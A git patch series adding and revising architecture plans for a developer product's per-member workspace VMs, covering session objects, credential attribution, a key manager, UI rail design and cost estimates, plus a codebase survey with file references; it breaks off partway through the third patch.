From a1b216ad2ccbbd12a65a0a9a972ff9ef2d1a27ad Mon Sep 17 00:00:00 2001 From: pythonlearner1025 Date: Fri, 28 Aug 2026 19:43:49 +0000 Subject: [PATCH 01/43] =?UTF-8?q?docs(plans):=20member=20machines=20?= =?UTF-8?q?=E2=80=94=20the=20workspace=20is=20a=20server?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Supersedes plans/MULTI-MEMBER-BOX.md (PR #91). Every member of a workspace gets one always-on machine, sized by the workspace machine type, provisioned on invite, destroyed on leave. Machines never appear in the product. Includes the session-rail UI overhaul spec and the mockup it is grounded on. Co-Authored-By: Claude Fable 5 --- plans/MEMBER-MACHINES.md | 289 +++++++++++++ plans/mockups/session-rail.html | 738 ++++++++++++++++++++++++++++++++ 2 files changed, 1027 insertions(+) create mode 100644 plans/MEMBER-MACHINES.md create mode 100644 plans/mockups/session-rail.html diff --git a/plans/MEMBER-MACHINES.md b/plans/MEMBER-MACHINES.md new file mode 100644 index 00000000..d5493a2d --- /dev/null +++ b/plans/MEMBER-MACHINES.md @@ -0,0 +1,289 @@ +# MEMBER MACHINES — the workspace is a server, and every member gets a machine + +Written 2026-08-28, grounded against `main` @ cbf9a1fb. Supersedes +`plans/MULTI-MEMBER-BOX.md` (PR #91): that plan solved multi-member identity by +splitting one shared box into Linux users. This plan removes the shared box +instead. UI mockup: `plans/mockups/session-rail.html`, live at +https://blitzos-session-rail.app.blitz.dev/. + +``` +org + └─ workspace "engineering" admin creates it; picks the machine type + ├─ SHARED, owned by the workspace + │ drive · key manager · agent rules · repo list · session rail + │ + ├─ member M ── machine (8 GB, always on) ── M's sessions + ├─ member A ── machine (8 GB, always on) ── A's sessions + └─ member R ── machine (8 GB, always on) ── R's sessions +``` + +## 0. The idea + +A workspace works like a Discord server. An admin creates it. Members are +invited to it. A member joins, opens the rail, and starts a session. The +session inherits the workspace's agent rules, reads its shared drive, and can +use its static service keys. Nobody thinks about machines. + +Behind the curtain, every member of a workspace owns one always-on VM, sized +by the workspace's machine type, provisioned when the invite is sent, and +destroyed when the member leaves. The machine never appears in the product. +There is no create screen, no wake button, no cold start, and no sleep state. + +This dissolves nearly every problem the shared-box plan had to manage: + +| MULTI-MEMBER-BOX problem | Fate here | +| --- | --- | +| Members act as the workspace owner (silent misattribution) | Gone. One member per machine; the machine is the identity. | +| Per-member Linux users, user-aware `blitz-cred` (Build 2) | Not needed. The kernel isolates nothing because it holds one member. | +| Per-member git clones seeded on join (Build 3) | Each machine clones the workspace repo list on provision. | +| One member's build starves another's session | Gone. Resource pressure is per member by construction. | +| A viewer reads another member's tokens in session output | Static keys are injected at use and never enter transcripts (§4). Personal tokens exist only on the owner's machine. | +| Attribution for shared files | Every drive write is a session event with an owner (§4). | +| One box is one blast radius | A host failure blips one member, not the org. | + +What survives from the old plan: the role names (admin, editor, viewer), the +capability framing ("you propose changes with a pull request", never "you +cannot write here"), and the trust ruling that the control plane believes the +machine about which member a session belongs to — now trivially true, because +each machine holds exactly one member. + +## 1. Ground truth + +| Fact | Where | Consequence | +| --- | --- | --- | +| A workspace today is one VM plus one volume, created from a golden image on platform credentials or stock Ubuntu on BYOK | #88, #93, `plans/SUBSCRIPTION-COMPUTE.md` | The unit changes from machine-per-workspace to machine-per-member. Provision, destroy, and the janitors all keep working per row; there are just more rows. | +| Orgs, invites, and seats exist; seat refusal has a way out | #56, #84, #86 | The invite is already the join primitive. This plan attaches a provision to it. | +| The entitlements seam writes integers only: `seat_limit`, `vm_limit`, `platform_compute`, `trial_expires_at` | #62, #93, #104 | No new seam is needed. `vm_limit` changes meaning (§2 D6). | +| Sponsored trial orgs exist: platform compute, a trial clock, seat and VM caps, janitor downgrade | #104 | The trial is the only non-BYOK free path. This plan inherits it unchanged. | +| A workspace owns its repo list, App-only; private repos clone through a GitHub App user token | #92, #90 | Repo read at join and per-member authorship are already split the way §3 needs. | +| The control plane has no session object; a session is a process on the box that the webapp attaches to | verify in `packages/box`, `packages/webapp` | Build 2 creates the session as a first-class row. This is the largest new surface. | + +## 2. Load-bearing decisions + +**D1 — One machine per (workspace, member), provisioned on invite.** The +invite provisions the machine, so the member's first click lands on a running +box. An unredeemed invite is reclaimed by a janitor after 14 days (a CX32 held +14 days costs ~$4 — acceptable, and the trial VM cap bounds it). Leaving or +removal destroys the machine after a grace snapshot. This closes the +orphaned-member limit of the old plan: offboarding is machine destruction. + +**D2 — The workspace machine type is the only sizing input.** The admin picks +it at workspace creation: 8 GB (engineering class) or 4 GB (light). Every +member machine inherits it. Sustained memory pressure upgrades that member one +tier automatically — a 30–40 s resize the member sees as "your machine is +growing" — and the admin can pin sizes. Nobody else ever sees a gigabyte. The +4 GB / 8 GB split is worth ≈$4/month across a 10-person org, so it is a +right-sizing gesture, not a cost control; collapsing to one size later is fine. + +**D3 — Always on.** Machines run 24/7 with provider backups. No sleep state, +no wake flow, no warm pool, no herd math. The mockup's "asleep workspace" pane +is deleted, not built. Cost analysis (§6) shows the whole 10-person org lands +under $90/month infrastructure — noise at the intended price point. + +**D4 — Attribution follows the credential.** Two credential planes: + +- *Workspace keys* (the key manager): static service keys — Stripe test keys, + Sentry DSNs, staging API keys. Any member's session can use them per role. + The audit line names the session and its owner. The broker injects them at + the point of use; they never appear in a transcript, so a watchable session + is not a leak. This retires the old plan's open question 1 by construction. +- *Personal OAuth* (GitHub, model keys): acts as the member, exists only on + that member's machine, is never inherited and never stored in the workspace. + +One ruling on top: workspace-supplied context — agent rules, drive content — +never *authorizes* a personal-credential action. An action that spends a +member's own token takes its authority from that member's own turns. This is +the guardrail against cross-member prompt injection through shared content, +and it must be stated in the agent rules the box ships with. + +**D5 — Sessions default to workspace-visible.** Joining the server means +seeing the work. Private is the deliberate exception, not the default — the +inversion of the old plan, made safe by D4. Visibility levels: private, +workspace-read, workspace-read-and-send. + +**D6 — `vm_limit` counts member machines, so it converges on seats.** Under +machine-per-member, VMs ≈ seats × workspaces-per-member. The billing service +keeps writing the same two integers; the operator console's trial defaults +change from "5 seats, 2 VMs" to VM caps sized for seats × expected +workspaces. No schema change; a semantics note in the console. + +**D7 — Free plan is BYOK twice.** A free org brings its own compute +credential (existing `byok-required` path) and each member brings their own +model key (a connection, like GitHub today). The platform pays for neither. +The single exception is the sponsored trial org from #104: platform compute, +capped seats and VMs, a trial clock, janitor downgrade. Paid orgs run on +platform compute (#93) with machines included in the seat price. + +**D8 — A "send" turn runs on the owner's machine, as the owner.** Guest turns +execute with the session owner's identity; the transcript attributes the turn +to the sender; a commit born from a guest turn carries a `Co-authored-by` +trailer. The escape valve for a member who wants their own identity is Fork: +copy the transcript to your own machine and continue as yourself. Fork copies +the transcript plus a fresh clone at the session's base commit — never the +owner's uncommitted tree. + +## 3. When a member joins + +1. An admin invites them. The machine provisions in the background. +2. The member opens the workspace and sees the session rail — teammates' + sessions are already visible (D5), so the first screen is the team working. +3. Their machine already holds the golden image, the workspace repo list + (cloned via the workspace's App installation, #92), the drive mount, and + the agent rules. They start a session and work. +4. Personal connections (GitHub authorship, model key on free plans) are asked + for at the moment of first need, not as a join gate. A member who never + pushes never connects GitHub. + +Step 4 is the day-one fix: the workspace grants *read* of the code through its +own App installation, so a new member is productive before any OAuth dance. +Only authorship waits for their own connection. + +## 4. The rail UI + +The mockup (`plans/mockups/session-rail.html`) is the spec for the overhaul. +Three columns: + +**Column 1 — the strip.** Org mark, then workspace tiles (the "servers"), a +live-dot on tiles with running sessions, then surfaces: Drive, Ports, +Connections, and (admin only) Keys and Members. The member's avatar at the +bottom. Workspace tiles never show RAM, state, or any machine word. + +**Column 2 — the rail.** The active workspace's sessions. Row = gutter · +title · time, never more. The time is the status: green means live. The +gutter is empty for your own sessions and a face for a teammate's. "New +session" is a pinned action above the list, not a row in it. + +**Column 3 — the work.** Tabs across the top (sessions and terminals mix; a +teammate's tab carries their face). The session head shows title, owner, +working directory, and visibility; actions are Fork (on others' sessions), +Diff, Share, and overflow. The Share popover offers the three visibility +levels and lists members with what each can do. The composer shows agent +picker, effort, and — when you cannot send — "Ask to send" and "Fork to my +own". The launcher ("What should we build?") offers recipes and a pick-up +list of recent sessions. + +Changes to the mockup, forced by the decisions above: + +- The **asleep pane and wake button are deleted** (D3). A workspace is always + ready or it is broken. +- The rail header **drops the RAM label** (D2). It keeps the name and Share. +- **Default visibility flips to workspace-read** (D5). The launcher's status + line becomes "Runs in engineering · visible to the workspace" and offers + "make it private". +- The head's run-as line simplifies: sessions always run on the owner's + machine, so `owner · cwd · visibility` says everything (D8). +- The mockup's `/workspace/site` vs `/home/ana/site` inconsistency resolves: + every path is on the owner's machine; the drive mounts at one well-known + path on every machine. + +What this removes from today's webapp: the workspace create flow as a member +concern (creation and machine type become admin actions), every machine-type +picker outside admin surfaces, and workspace state chrome (creating, +stuck, wake). The Connections page stays as the personal-OAuth surface. The +Keys panel is new: workspace-scoped static keys, role-gated, with a use-audit +listing sessions, never values. + +The drive needs one property the old plan lacked: **history**. Every write +through a session is a named event (who, which session, when), and a file can +be restored to a prior version. This is the answer to "who changed the shared +file" — the session is the attribution unit — and it protects the +least-git-fluent users, who work in the least protected store today. + +## 5. Builds + +**Build 1 — member machines.** Schema: a machines table keyed by (workspace, +member); workspace `machine_type`; provision on invite, destroy on +leave/removal, janitor for unredeemed invites; auto-upgrade on pressure. +`vm_limit` counts member machines (D6). Done when: an invited member's first +open lands on a running machine, and a removed member's machine is destroyed +with a grace snapshot. + +**Build 2 — sessions as objects.** Control-plane session rows: id, workspace, +owner, title (from the first sentence), kind (chat/terminal), live state, +visibility, timestamps. The webapp overhaul to the three-column rail ships +here, reading real rows. Done when: the rail lists real sessions across +members, and resume works from the pick-up list. + +**Build 3 — sharing.** Visibility enforcement (D5), live watch, "send" turns +with attribution and the Co-authored-by trailer (D8), Fork. Done when: a +read-and-send session shows the sender on every guest turn, and Fork lands a +copy on the forker's machine. + +**Build 4 — workspace surfaces.** The drive with journaled writes and +restore; the key manager with injection-at-use and per-session audit; agent +rules as a workspace object layered under each member's own rules, including +the D4 ruling. Done when: a static key is used in a watched session and never +appears in its transcript, and a drive file shows its change history. + +**Build 5 — pricing alignment.** The billing worker translates the paid plan +into the same integers it writes today, with machine-per-seat semantics; the +free-plan model-key connection flow; trial defaults update in the operator +console. Done when: a paid org's invite provisions on platform compute with +no BYOK step, and a free org's member is asked for a model key at first +session start. + +Build 1 and Build 2 are independent and can land in either order. Build 3 +needs both. Build 4 and 5 are parallel after that. + +## 6. Economics + +Reference numbers for a 10-person org (5 engineers on 8 GB, 5 light members +on 4 GB), Hetzner Falkenstein CX line, USD at 1.10/EUR: + +| Line | $/mo | +| --- | --- | +| 5 × CX32 (engineers), incl. 20% backups | 44.90 | +| 5 × CX22 (light), incl. 20% backups | 25.00 | +| Drive, snapshots, one shared service | ~8.00 | +| **Org total** | **~$78–90** | + +Per-seat infrastructure cost: $5–9. Against $100/seat pricing, infrastructure +is 8–9% of revenue. The dominant COGS at that price is model inference, not +machines — which is why D7 makes tokens BYOK on the free plan and why a paid +plan needs either a token allowance with metering or pass-through billing +before any "unlimited" wording ships. A runaway machine is capped by the +provider's monthly price ceiling ($7.50–18/seat); a runaway token bill has no +provider ceiling. Price tokens before polishing machine costs. + +Trial exposure (D7): a default trial at 5 seats for 14 days holds at most +~$20 of compute. The operator console's caps are the spend control. + +## 7. Open questions + +1. **The multi-workspace member.** A person in three workspaces holds three + machines. Accepted for isolation and simplicity (cost is noise), but the + personal-connection story must roam: connecting GitHub once must serve all + their machines. Credential roaming exists as a plan + (`plans/CREDENTIAL-ROAMING.md`) — reconcile with it. +2. **Send-turn transport.** How a guest turn reaches the owner's machine — + through the control plane as a relayed instruction, or a direct broker + channel. Decides latency and the audit shape. +3. **Drive mechanics.** Journaled writes need a mediation layer (drive + service or synced store). The concept requires history and attribution; + the mechanism is unchosen. +4. **Migration.** Existing single-box workspaces map to "workspace with one + member machine" almost for free, but the box's dual role (workspace state + + member state) must split. Needs its own small plan. +5. **Idle machines on the free BYOK plan.** Always-on machines on a + customer's own Hetzner key bill the customer 24/7. Do free orgs get a + dormancy policy (stop after N idle days, 40 s resume), or is always-on a + paid-plan property? Leaning: dormancy on free, always-on as part of what + the seat price buys. + +## Appendix — decisions from the design review, recorded + +- **Per-member always-on was chosen over cheaper designs** (shared + workspace host; prewarm-by-schedule; split conversation/execution planes; + microVM substrate) for one reason: nothing to operate and nothing to + predict, paid for with margin the price point demonstrably has. The + split-plane design remains the fallback if free-tier scale ever makes + always-on machines unaffordable; the microVM substrate (`plans/MICROVM.md`) + remains the endgame that would make per-session isolation cheaper than + per-member machines. +- **The "machine never goes away" promise moves up a level.** The durable + thing is the workspace: rail, drive, keys, rules, repo list. Machines are + cattle behind a curtain — even though each member's machine is, in + practice, a small well-backed-up pet. +- **The shared box's one advantage was cost, and at these prices the + advantage does not exist.** The whole per-member fleet costs about the same + as one always-on shared box sized for the same org. diff --git a/plans/mockups/session-rail.html b/plans/mockups/session-rail.html new file mode 100644 index 00000000..80d390d1 --- /dev/null +++ b/plans/mockups/session-rail.html @@ -0,0 +1,738 @@ + + + + + +BlitzOS — session rail + + + + +
+ + +
+
+⚡ blitz.dev + + + + From 463c09d5072bae9a2b31f2e3340b75121e63a19e Mon Sep 17 00:00:00 2001 From: pythonlearner1025 Date: Fri, 28 Aug 2026 19:53:32 +0000 Subject: [PATCH 02/43] docs(plans): record the ground-truth survey for member machines Five parallel read-only sweeps over main @ cbf9a1fb: compute lifecycle, identity and entitlements, box and sessions, webapp, credentials. File:line grounded; feeds the MEMBER-MACHINES builds. Co-Authored-By: Claude Fable 5 --- .../evidence/member-machines-ground-truth.md | 158 ++++++++++++++++++ 1 file changed, 158 insertions(+) create mode 100644 plans/evidence/member-machines-ground-truth.md diff --git a/plans/evidence/member-machines-ground-truth.md b/plans/evidence/member-machines-ground-truth.md new file mode 100644 index 00000000..5348db07 --- /dev/null +++ b/plans/evidence/member-machines-ground-truth.md @@ -0,0 +1,158 @@ +# MEMBER-MACHINES — ground truth survey + +Recorded 2026-08-28 against `main` @ cbf9a1fb, by five parallel read-only +sweeps (compute, identity, box/sessions, webapp, credentials). Facts below are +file:line grounded; each section ends with the gaps that build must close. + +## Build 1 — member machines (compute + identity) + +**The workspace row is the VM record.** `vm_id`, `volume_id`, `ssh_*`, +`phone_home_*`, `tunnel_id`, `compute_credential_source`, `machine_type_id` +are single-valued columns on `workspaces` (migrations 0001, 0004, 0006, 0032, +0038). `boxes.workspace_id` is `UNIQUE` (0001:47) — a hard one-box cap. +`phase` is a workspace-level state machine. + +**One create path.** `performWorkspaceCreate` +(`core/workspaces.ts:460-827`): placement (`compute/workspace-placement.ts`), +the `vm_limit` gate inside the INSERT (`workspaces.ts:605-608`), volume +provision (`workspace-volumes.ts:74-124`), `createVm` +(`compute/hetzner.ts:454-478`, server name `blitz-`), +phone-home completes it (`workspaces.ts:1210-1298`). Destroy: +`workspaces.ts:1123-1208`. Janitors: `core/janitors.ts` (orphan sweep +:41-121, tunnel :174-199, volume retention :136-172) — all iterate +`workspaces` rows. + +**No resize exists.** `VmProvider` (`compute/types.ts:59-92`) has only +create/shutdown/destroy/inspect. Recreate refuses a machine-type change +(`workspaces.ts:919-923`). D2's auto-upgrade needs a new provider capability. + +**No lifecycle hooks.** Invite redemption (`identity/invites.ts:142-216`) +returns a membershipId that nothing observes. `POST /invites` +(`invites.ts:260`) has no membership row to key a machine to — +provision-at-invite needs a machine keyed by `invite_id`, re-keyed at +redemption. Leave/disable (`identity/members.ts:158-262`) flips status only; +the leaver's workspaces stay (comment :145-157). `expireInvites` +(`invites.ts:89`) has no side effects and is not in the lazy sweep. +`memberships.status='invited'` is a dead enum value (written nowhere). + +**Invites are org-scoped, not workspace-scoped** (0009_identity.sql:30). The +Discord model ("invited to a workspace") has no carrier. There is no +workspace membership at all: `workspace_grants` is a sharing ACL +(editor|viewer), `org_share_role` is a workspace-wide default, org admins +reach everything (`workspace-access.ts:30-45`). The machine row can *become* +workspace membership. + +**Accounting.** `vm_limit` is enforced only in the workspace-create INSERT; +`vmsUsed` counts workspaces (`entitlements.ts:334-336`). Both under-report +under machine-per-member. The wire contract is pinned by +`packages/schema/fixtures/entitlements/` shared with the private billing +service — changes ripple there. Seat gate: `seatAvailable` fragment injected +into identity SQL (`entitlements.ts:112`), independent of the VM gate today. + +**Branch state.** PR #104 (trials, operator console, migration 0040, +`core/admin.ts`, `/admin` page) is NOT on main. Migration numbering: next +free is 0040 and #104 claims it; 0008 and 0036 are already duplicated. +No invite mailer exists (link is pasted from `InvitesPanel.tsx:83`). + +## Build 2 — sessions as objects (box) + +**A session today is a tmux session with no record anywhere.** +`blitz-term [ro]` (`box/rootfs/usr/local/libexec/blitz-term`) +creates `claude-` etc. with `tmux new-session -A`; the key is the +browser-invented integer tab id from the shared `webapp_state.doc` blob +(`core/webapp-state.ts:34-46`; monotonic-id safety note :456-463; "shared +state, all accounts see one tab set" :352-356). Any editor can attach to any +key. No listing endpoint, no liveness, no owner, no transcript persistence +(harness-native transcripts live on the state volume, unindexed). + +**The ACP actor is a near-complete session object, flagged off.** +`box/actor/src/{actor,chat-session}.ts`: SQLite journal +(`/var/lib/blitz/chat-session.db`), id, provider, cwd, `created_by`, +resume_id, replay, N-subscriber fan-out with per-frame `{userId, name}` +attribution, viewer write-gate (`actor.ts:419`). Webapp flag +`NATIVE_CHAT_ENABLED = false` (`src/product-features.ts:7`). +`plans/COCKPIT-UI-RESTORATION.md` records the deliberate retreat and the +decision list required to reverse it. `plans/ENTRYPOINTS.md` already argues +"one session, many subscribers". + +**The identity spine exists.** WebApp ticket claims +`{workspaceId, userId, membershipId, role, exp}` (`core/webapp-tickets.ts`), +verified in the Worker, the Go gateway (`gateway/main.go:938-951`), and the +actor (`actor/src/auth.ts`), pinned by fixtures. Read-only attach is real and +defended at four layers (`blitz-term:56-65` refuses create; viewer gates in +CP/gateway/actor). `/admin/drain` targets a membership on both box services. + +Gaps: a control-plane `agent_sessions` table (`sessions` is taken by auth +cookies), server-issued unguessable session keys, a liveness channel, +per-session authorization, terminal transcripts, and replacing the +last-write-wins blob (not polled; teammates never see each other's tabs). + +## Build 3 — sharing (credentials attribution) + +**Mints resolve against the workspace owner, by design.** `mint.ts:243` +(`grantFor(db, workspace.owner_id, name)`; rationale comment :111-113); +`boxes.principal_id` = owner at phone-home (`workspaces.ts:1252-1256`); +lease comment `leases.ts:32-35`. Two editors produce byte-identical audit +rows. The disclosure banner CONNECTIONS_UX §1 promised was never built. +Under machine-per-member this inverts naturally: each box's principal becomes +the member; the mint's grant-resolution must follow the machine's member, +not the workspace owner. + +## Build 4 — surfaces (key manager, rules, drive) + +**No workspace-scoped sealed secret store exists.** `connections` is +org-scoped (0010:39); `workspaces.environment` is per-workspace but +plaintext (0017; `core/environment.ts`) and lands in `creds/env.d/*.sh` +visible to every shell. The org-static path is being *removed*: +`validateServedConnection` (`registry.ts:314-317`) refuses `adminForm: null` +providers; migration 0028 deleted the `generic` catalog entry with the +ruling "ad-hoc secrets are a workspace file or `.env`". **The key manager +reverses that shipped ruling — name it in the plan.** + +**Injection-at-use has a seam.** `ClaudeAdapter.canUseTool` +(`adapters/claude.ts:121-140`) already receives tool name/input and returns +`updatedInput` (currently a pass-through). The git credential helper +(`internal/workspace/cp.go:84-108`) is the working point-of-use precedent. +Today's `blitz-cred get/env` print values to stdout and the baked agent +rules teach that idiom (`skel/agent-rules.md:67,75`). + +**No use audit.** `credential_events` records mint/revoke/deny/approve only; +the proxy (`connections/proxy.ts`) writes zero rows. No session dimension +exists anywhere in the credential plane. + +**Agent rules layering mostly exists.** Baked skel file overwritten each +boot (`blitz-init-state:63-67`), `blitz-rules sync` against +`GET /workspaces/self/agent-rules`, org-authored `agent_rules` (0018) +selected per workspace/template. Missing: per-role layering and the D4 +ruling text. + +**Roaming.** Harness logins already roam per member via the broker +(`broker_members`, 0020; `member_cap` 25, 0019). Grant refresh races are +known-unfixed (`catalog/github.ts:18-21`) and get worse with N machines per +member. GitHub is `custody: "cp"` — the real token reaches the box. + +## Webapp overhaul + +Shell is already three columns (`drive-shell.css:270-278`): DriveRail | +work | icon strip. `DriveRail` (`files/DriveRail.tsx`, 399 lines) conflates +org header, global nav, workspace list, and the active workspace's sessions +— the overhaul splits it into strip + session rail. Survives unchanged: pane +algebra (`workspace-panes.ts`), tab model (`storage.ts`), content surfaces +(terminal, editor, files, previews, connections), data layer. Net-new: the +launcher (no palette exists). Dormant asset: `src/chat/*` (~2,000 lines, +tested) behind the flag. + +Risks, ranked: `CloudApp.tsx` is 2,265 lines and on the max-lines debt list +— split before visual work ("split on touch, never big-bang"); `railFor` is +threaded through 8 route branches; `feat/operator-console` touches the same +three files (land or rebase it first); mobile is a parallel implementation, +not responsive CSS; ~20 test assertions target class selectors (migrate to +role/label queries first); 17 global stylesheets with cross-file overrides. + +## Stale plan docs (cheap fixes while here) + +`CREDENTIALS.md` ("no code exists yet" — false, and its delivery model was +rewritten), `CREDENTIAL-ROAMING.md` ("plan" — shipped in #4), +`GITHUB-APP-USER-TOKEN.md` ("plan" — shipped in #90), `CONNECTIONS_UX.md` +(§0 audit table stale). `CONNECTIONS-FLOW.md` is cited by migration 0028 but +does not exist. From fd7ac563ec38674d1eb5cc862734b73b6be43ef1 Mon Sep 17 00:00:00 2001 From: pythonlearner1025 Date: Fri, 28 Aug 2026 20:23:51 +0000 Subject: [PATCH 03/43] =?UTF-8?q?docs(plans):=20member=20machines=20v2=20?= =?UTF-8?q?=E2=80=94=20workspace=20is=20its=20own=20template?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Remove the template concept; store workspace members with roles; move every VM column to a machines table keyed by (workspace, membership) or invite; auto_provision toggle; workspace-admin vs org-admin split; workspace_credentials added on top of always-available personal credentials; defer auto-upgrade. Co-Authored-By: Claude Fable 5 --- plans/MEMBER-MACHINES.md | 611 +++++++++++++++++++++------------------ 1 file changed, 331 insertions(+), 280 deletions(-) diff --git a/plans/MEMBER-MACHINES.md b/plans/MEMBER-MACHINES.md index d5493a2d..dcd5c3c8 100644 --- a/plans/MEMBER-MACHINES.md +++ b/plans/MEMBER-MACHINES.md @@ -1,289 +1,340 @@ # MEMBER MACHINES — the workspace is a server, and every member gets a machine -Written 2026-08-28, grounded against `main` @ cbf9a1fb. Supersedes -`plans/MULTI-MEMBER-BOX.md` (PR #91): that plan solved multi-member identity by -splitting one shared box into Linux users. This plan removes the shared box -instead. UI mockup: `plans/mockups/session-rail.html`, live at -https://blitzos-session-rail.app.blitz.dev/. +Written 2026-08-28, revised same day after the ground-truth survey +(`plans/evidence/member-machines-ground-truth.md`, main @ cbf9a1fb). +Supersedes `plans/MULTI-MEMBER-BOX.md` and the workspace-templates concept. +UI mockup: `plans/mockups/session-rail.html`. ``` org - └─ workspace "engineering" admin creates it; picks the machine type - ├─ SHARED, owned by the workspace - │ drive · key manager · agent rules · repo list · session rail - │ - ├─ member M ── machine (8 GB, always on) ── M's sessions - ├─ member A ── machine (8 GB, always on) ── A's sessions - └─ member R ── machine (8 GB, always on) ── R's sessions + └─ workspace "engineering" ← its own template; nothing else is + ├─ config: machine type · environment · agent rules · repos · credentials + ├─ workspace_members: (membership, role) role: admin | editor | viewer + ├─ machines: one VM per member, on by default + └─ sessions (Build 2) ``` ## 0. The idea -A workspace works like a Discord server. An admin creates it. Members are -invited to it. A member joins, opens the rail, and starts a session. The -session inherits the workspace's agent rules, reads its shared drive, and can -use its static service keys. Nobody thinks about machines. - -Behind the curtain, every member of a workspace owns one always-on VM, sized -by the workspace's machine type, provisioned when the invite is sent, and -destroyed when the member leaves. The machine never appears in the product. -There is no create screen, no wake button, no cold start, and no sleep state. - -This dissolves nearly every problem the shared-box plan had to manage: - -| MULTI-MEMBER-BOX problem | Fate here | -| --- | --- | -| Members act as the workspace owner (silent misattribution) | Gone. One member per machine; the machine is the identity. | -| Per-member Linux users, user-aware `blitz-cred` (Build 2) | Not needed. The kernel isolates nothing because it holds one member. | -| Per-member git clones seeded on join (Build 3) | Each machine clones the workspace repo list on provision. | -| One member's build starves another's session | Gone. Resource pressure is per member by construction. | -| A viewer reads another member's tokens in session output | Static keys are injected at use and never enter transcripts (§4). Personal tokens exist only on the owner's machine. | -| Attribution for shared files | Every drive write is a session event with an owner (§4). | -| One box is one blast radius | A host failure blips one member, not the org. | - -What survives from the old plan: the role names (admin, editor, viewer), the -capability framing ("you propose changes with a pull request", never "you -cannot write here"), and the trust ruling that the control plane believes the -machine about which member a session belongs to — now trivially true, because -each machine holds exactly one member. - -## 1. Ground truth - -| Fact | Where | Consequence | -| --- | --- | --- | -| A workspace today is one VM plus one volume, created from a golden image on platform credentials or stock Ubuntu on BYOK | #88, #93, `plans/SUBSCRIPTION-COMPUTE.md` | The unit changes from machine-per-workspace to machine-per-member. Provision, destroy, and the janitors all keep working per row; there are just more rows. | -| Orgs, invites, and seats exist; seat refusal has a way out | #56, #84, #86 | The invite is already the join primitive. This plan attaches a provision to it. | -| The entitlements seam writes integers only: `seat_limit`, `vm_limit`, `platform_compute`, `trial_expires_at` | #62, #93, #104 | No new seam is needed. `vm_limit` changes meaning (§2 D6). | -| Sponsored trial orgs exist: platform compute, a trial clock, seat and VM caps, janitor downgrade | #104 | The trial is the only non-BYOK free path. This plan inherits it unchanged. | -| A workspace owns its repo list, App-only; private repos clone through a GitHub App user token | #92, #90 | Repo read at join and per-member authorship are already split the way §3 needs. | -| The control plane has no session object; a session is a process on the box that the webapp attaches to | verify in `packages/box`, `packages/webapp` | Build 2 creates the session as a first-class row. This is the largest new surface. | - -## 2. Load-bearing decisions - -**D1 — One machine per (workspace, member), provisioned on invite.** The -invite provisions the machine, so the member's first click lands on a running -box. An unredeemed invite is reclaimed by a janitor after 14 days (a CX32 held -14 days costs ~$4 — acceptable, and the trial VM cap bounds it). Leaving or -removal destroys the machine after a grace snapshot. This closes the -orphaned-member limit of the old plan: offboarding is machine destruction. - -**D2 — The workspace machine type is the only sizing input.** The admin picks -it at workspace creation: 8 GB (engineering class) or 4 GB (light). Every -member machine inherits it. Sustained memory pressure upgrades that member one -tier automatically — a 30–40 s resize the member sees as "your machine is -growing" — and the admin can pin sizes. Nobody else ever sees a gigabyte. The -4 GB / 8 GB split is worth ≈$4/month across a 10-person org, so it is a -right-sizing gesture, not a cost control; collapsing to one size later is fine. - -**D3 — Always on.** Machines run 24/7 with provider backups. No sleep state, -no wake flow, no warm pool, no herd math. The mockup's "asleep workspace" pane -is deleted, not built. Cost analysis (§6) shows the whole 10-person org lands -under $90/month infrastructure — noise at the intended price point. - -**D4 — Attribution follows the credential.** Two credential planes: - -- *Workspace keys* (the key manager): static service keys — Stripe test keys, - Sentry DSNs, staging API keys. Any member's session can use them per role. - The audit line names the session and its owner. The broker injects them at - the point of use; they never appear in a transcript, so a watchable session - is not a leak. This retires the old plan's open question 1 by construction. -- *Personal OAuth* (GitHub, model keys): acts as the member, exists only on - that member's machine, is never inherited and never stored in the workspace. - -One ruling on top: workspace-supplied context — agent rules, drive content — -never *authorizes* a personal-credential action. An action that spends a -member's own token takes its authority from that member's own turns. This is -the guardrail against cross-member prompt injection through shared content, -and it must be stated in the agent rules the box ships with. - -**D5 — Sessions default to workspace-visible.** Joining the server means -seeing the work. Private is the deliberate exception, not the default — the -inversion of the old plan, made safe by D4. Visibility levels: private, -workspace-read, workspace-read-and-send. - -**D6 — `vm_limit` counts member machines, so it converges on seats.** Under -machine-per-member, VMs ≈ seats × workspaces-per-member. The billing service -keeps writing the same two integers; the operator console's trial defaults -change from "5 seats, 2 VMs" to VM caps sized for seats × expected -workspaces. No schema change; a semantics note in the console. - -**D7 — Free plan is BYOK twice.** A free org brings its own compute -credential (existing `byok-required` path) and each member brings their own -model key (a connection, like GitHub today). The platform pays for neither. -The single exception is the sponsored trial org from #104: platform compute, -capped seats and VMs, a trial clock, janitor downgrade. Paid orgs run on -platform compute (#93) with machines included in the seat price. - -**D8 — A "send" turn runs on the owner's machine, as the owner.** Guest turns -execute with the session owner's identity; the transcript attributes the turn -to the sender; a commit born from a guest turn carries a `Co-authored-by` -trailer. The escape valve for a member who wants their own identity is Fork: -copy the transcript to your own machine and continue as yourself. Fork copies -the transcript plus a fresh clone at the session's base commit — never the -owner's uncommitted tree. - -## 3. When a member joins - -1. An admin invites them. The machine provisions in the background. -2. The member opens the workspace and sees the session rail — teammates' - sessions are already visible (D5), so the first screen is the team working. -3. Their machine already holds the golden image, the workspace repo list - (cloned via the workspace's App installation, #92), the drive mount, and - the agent rules. They start a session and work. -4. Personal connections (GitHub authorship, model key on free plans) are asked - for at the moment of first need, not as a join gate. A member who never - pushes never connects GitHub. - -Step 4 is the day-one fix: the workspace grants *read* of the code through its -own App installation, so a new member is productive before any OAuth dance. -Only authorship waits for their own connection. - -## 4. The rail UI - -The mockup (`plans/mockups/session-rail.html`) is the spec for the overhaul. -Three columns: - -**Column 1 — the strip.** Org mark, then workspace tiles (the "servers"), a -live-dot on tiles with running sessions, then surfaces: Drive, Ports, -Connections, and (admin only) Keys and Members. The member's avatar at the -bottom. Workspace tiles never show RAM, state, or any machine word. - -**Column 2 — the rail.** The active workspace's sessions. Row = gutter · -title · time, never more. The time is the status: green means live. The -gutter is empty for your own sessions and a face for a teammate's. "New -session" is a pinned action above the list, not a row in it. - -**Column 3 — the work.** Tabs across the top (sessions and terminals mix; a -teammate's tab carries their face). The session head shows title, owner, -working directory, and visibility; actions are Fork (on others' sessions), -Diff, Share, and overflow. The Share popover offers the three visibility -levels and lists members with what each can do. The composer shows agent -picker, effort, and — when you cannot send — "Ask to send" and "Fork to my -own". 